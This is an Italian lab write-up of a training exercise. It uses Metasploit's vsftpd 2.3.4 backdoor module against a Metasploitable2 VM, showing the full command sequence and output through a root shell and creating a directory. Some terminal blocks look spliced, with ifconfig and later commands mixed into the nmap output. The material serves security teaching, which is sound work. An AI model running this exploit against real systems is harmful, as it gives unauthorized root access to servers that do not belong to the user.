

## Introduzione:

L'esercizio di oggi prevedeva un attacco con **Metasploit** tramite l'**exploit vsftpd\_234\_backdoor** su un server **vsftpd** vulnerabile per ottenere accesso alla macchina virtuale **metasploitable2**

## Preparazione:

Come sempre bisogna verifica che le due macchine comunichino tra di loro:

```
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e1:ed:f1
          inet addr:192.168.0.102  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fdd7:21:9d01:8782:a00:27ff:fee1:edf1/64 Scope:Global
          inet6 addr: 2a0e:419:3357:0:a00:27ff:fee1:edf1/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fee1:edf1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:37 errors:0 dropped:0 overruns:0 frame:0
          TX packets:72 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4132 (4.0 KB)  TX bytes:8495 (8.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:114 errors:0 dropped:0 overruns:0 frame:0
          TX packets:114 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:29797 (29.0 KB)  TX bytes:29797 (29.0 KB)

msfadmin@metasploitable:~$
```

Kali che comunica con Metasploitable:

```

(kali㉿kali)-[~]
$ ping 192.168.0.102
PING 192.168.0.102 (192.168.0.102) 56(84) bytes of data.
64 bytes from 192.168.0.102: icmp_seq=1 ttl=64 time=15.7 ms
64 bytes from 192.168.0.102: icmp_seq=2 ttl=64 time=10.8 ms
64 bytes from 192.168.0.102: icmp_seq=3 ttl=64 time=0.907 ms
64 bytes from 192.168.0.102: icmp_seq=4 ttl=64 time=4.51 ms
^C
— 192.168.0.102 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.907/7.984/15.725/5.701 ms

```

Metasploitable che comunica con Kali:

```

msfadmin@metasploitable:~$ ping 192.168.0.100
PING 192.168.0.100 (192.168.0.100) 56(84) bytes of data.
64 bytes from 192.168.0.100: icmp_seq=1 ttl=64 time=6.10 ms
64 bytes from 192.168.0.100: icmp_seq=2 ttl=64 time=1.07 ms
64 bytes from 192.168.0.100: icmp_seq=3 ttl=64 time=0.647 ms
64 bytes from 192.168.0.100: icmp_seq=4 ttl=64 time=0.521 ms

--- 192.168.0.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3059ms
rtt min/avg/max/mdev = 0.521/2.085/6.101/2.327 ms
msfadmin@metasploitable:~$

```

```

(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.0.100 netmask 255.255.255.0 broadcast 192.168.0.255
    inet6 2a0e:419:3357:0:a00:27ff:fead:2587 prefixlen 64 scopeid 0<global>
    inet6 fe80::a00:27ff:fead:2587 prefixlen 64 scopeid 0<link>
    inet6 fdd7:21:9d01:8782:a00:27ff:fead:2587 prefixlen 64 scopeid 0<global>
    ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
    RX packets 40 bytes 5775 (5.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 18 bytes 3794 (3.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Prima di avviare Metasploit, vado a controllare se la macchina vittima ha la **porta 21** del **ftp** aperta:

```
(kali㉿kali)-[~]:127.0.0.1 Mask:255.0.0.0
$ nmap -p 21 192.168.0.102 Scope:Host
    UP: LOOPBACK RUNNING MTU:16436 Metric:1
Starting Nmap 7.94SVN (https://nmap.org) at 2024-11-11 09:02 EST
Nmap scan report for 192.168.0.102:dropped:0 overruns:0 carrier:0
Host is up (0.00s latency).
    RX bytes:58597 (57.2 KB) TX bytes:58597 (57.2 KB)

PORT      STATE SERVICE
21/tcp    open  ftp
mkdir /metasploitable-tryfolder
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
ls
(kali㉿kali)-[~]
$
```

La risposta è **positiva**, quindi posso avviare **Metasploit** tramite il comando;  
***msfconsole***

```
kali@kali: ~
File Actions Edit View Help
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R
console ... /

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
90909090.90909090.09090900
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff
.....
ffffffffffffffffffffffffffffffff
.....

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

      =[ metasploit v6.4.18-dev ]
+ -- --[ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- --[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

E come da consegna cerco l’**exploit** necessario per lo svolgimento del compito, ovvero un exploit per **aprire una backdoor** su un server ftp:

```
msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > 
```

Ho bisogno del secondo e per **usarlo** digito:

**use exploit/unix/ftp/vsftpd\_234\_backdoor**

E successivamente digito **show options**, per vedere che manca l'IP della macchina target:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      192.168.0.102    no        The local client address
  CPORT      21               no        The local client port
  Proxies     []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     []               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Perciò avrò bisogno di inserirlo manualmente, tramite il comando:

**set RHOSTS 192.168.0.102**

Ed ora digitando show options vedremmo che è correttamente messo:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.102
RHOSTS => 192.168.0.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      192.168.0.102    no        The local client address
  CPORT      21               no        The local client port
  Proxies     []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.0.102    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

## Pratica:

Ora che è tutto impostato, ci basta digitare **run**:

Se tutto andrà bene Metasploit, ci dirà Found shell, ovvero un interfaccia con cui l'utente può **interagire**. Perciò da ora avremmo il controllo su **Metasploitable**:

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.0.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.102:21 - USER: 331 Please specify the password.
[+] 192.168.0.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.0.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.100:45597 → 192.168.0.102:6200) at 2024-11-11 08:42:02 -0500
PORT 21 STATE SERVICE
ftp 21
ifconfig enp0s1
eth0      Link encap:Ethernet  HWaddr 08:00:27:e1:ed:f1
          inet addr:192.168.0.102  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fdd7:21:9d01:8782:a00:27ff:fee1:edf1/64 Scope:Global
          inet6 addr: 2a0e:419:3357:0:a00:27ff:fee1:edf1/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fee1:edf1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:376 errors:0 dropped:0 overruns:0 frame:0
          TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:27903 (27.2 KB)  TX bytes:11716 (11.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:172 errors:0 dropped:0 overruns:0 frame:0
          TX packets:172 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:58597 (57.2 KB)  TX bytes:58597 (57.2 KB)

```

Infatti vediamo che digitando ***ifconfig***, ci uscirà l'indirizzo IP di Metasploitable. Perciò ora potremmo completare la consegna dell'esercizio, ovvero creare una **nuova directory**, tramite il comando **mkdir** e la chiameremo **metasploitable-tryfolder**:

```
mkdir /metasploitable-tryfolder
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
metasploitable-tryfolder
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Con il comando **ls** vediamo la lista degli elementi e directory, e vediamo che anche la nostra nuova directory **è presente**. Per maggiori conferme anche direttamente su metasploitable è presente:

```
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin      etc      lib      mnt      root     tmp
boot    home    lost+found  nohup.out  sbin     usr
cdrom   initrd  media    opt      srv      var
dev     initrd.img  metasploitable-tryfolder  proc     sys      vmlinuz
msfadmin@metasploitable:/$ _
```

## Conclusione:

Il compito di oggi ha sfruttato una **vulnerabilità** nota nel servizio **vsftpd** versione 2.3.4 per ottenere l'accesso non autorizzato a una macchina Metasploitable,

siamo riusciti ad ottenere una **shell remota** con vari privilegi sulla macchina target, testimonianza del fatto che abbiamo creato una **cartella**.